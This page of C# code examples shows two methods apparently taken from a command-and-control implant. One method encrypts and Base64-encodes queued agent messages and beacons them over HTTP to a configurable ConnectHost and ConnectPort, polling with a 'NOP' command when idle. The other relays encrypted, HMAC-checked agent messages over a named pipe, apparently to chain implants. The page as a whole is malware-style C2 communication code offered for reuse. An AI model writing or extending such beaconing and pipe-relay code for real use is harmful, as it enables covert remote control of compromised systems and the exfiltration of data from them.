Exemple #1
0
    private void CheckIn()
    {
        var client = GetWebClient();

        Uri uri;

        byte[] outMessage;
        string dataToSend;

        if (Outbound.Count > 0)
        {
            client.UploadDataCompleted += UploadDataCallBack;
            outMessage = Crypto.Encrypt(Outbound.Dequeue());
            dataToSend = $"Message={Convert.ToBase64String(outMessage)}";
            uri        = new Uri($"http://{ConnectHost}:{ConnectPort}");
            client.UploadDataAsync(uri, Encoding.UTF8.GetBytes(dataToSend));
        }
        else
        {
            client.DownloadDataCompleted += DownloadDataCallBack;
            outMessage = Crypto.Encrypt(new AgentMessage {
                IdempotencyKey = Guid.NewGuid().ToString(), Metadata = Metadata, Data = new C2Data {
                    Module = "Core", Command = "NOP"
                }
            });
            dataToSend = $"Message={Convert.ToBase64String(outMessage)}";
            uri        = new Uri($"http://{ConnectHost}:{ConnectPort}?{dataToSend}");
            client.DownloadDataAsync(uri);
        }

        client.Dispose();
    }
Exemple #2
0
    private void ReadCallback(IAsyncResult ar)
    {
        var state = ar.AsyncState as CommStateObject;
        var pipe  = state.Worker as NamedPipeServerStream;

        var bytesRead = 0;

        try
        {
            bytesRead = pipe.EndRead(ar);
        }
        catch { }

        if (bytesRead > 0)
        {
            var data = DataJuggle(bytesRead, pipe, state);

            if (Crypto.VerifyHMAC(data))
            {
                var inbound = Crypto.Decrypt <AgentMessage>(data);

                if (inbound != null)
                {
                    Inbound.Enqueue(inbound);
                }
            }
        }

        var outbound = new AgentMessage {
            Metadata = Metadata
        };

        if (Outbound.Count > 0)
        {
            outbound = Outbound.Dequeue();
        }

        var dataToSend = Crypto.Encrypt(outbound);

        pipe.BeginWrite(dataToSend, 0, dataToSend.Length, new AsyncCallback(WriteCallback), pipe);
    }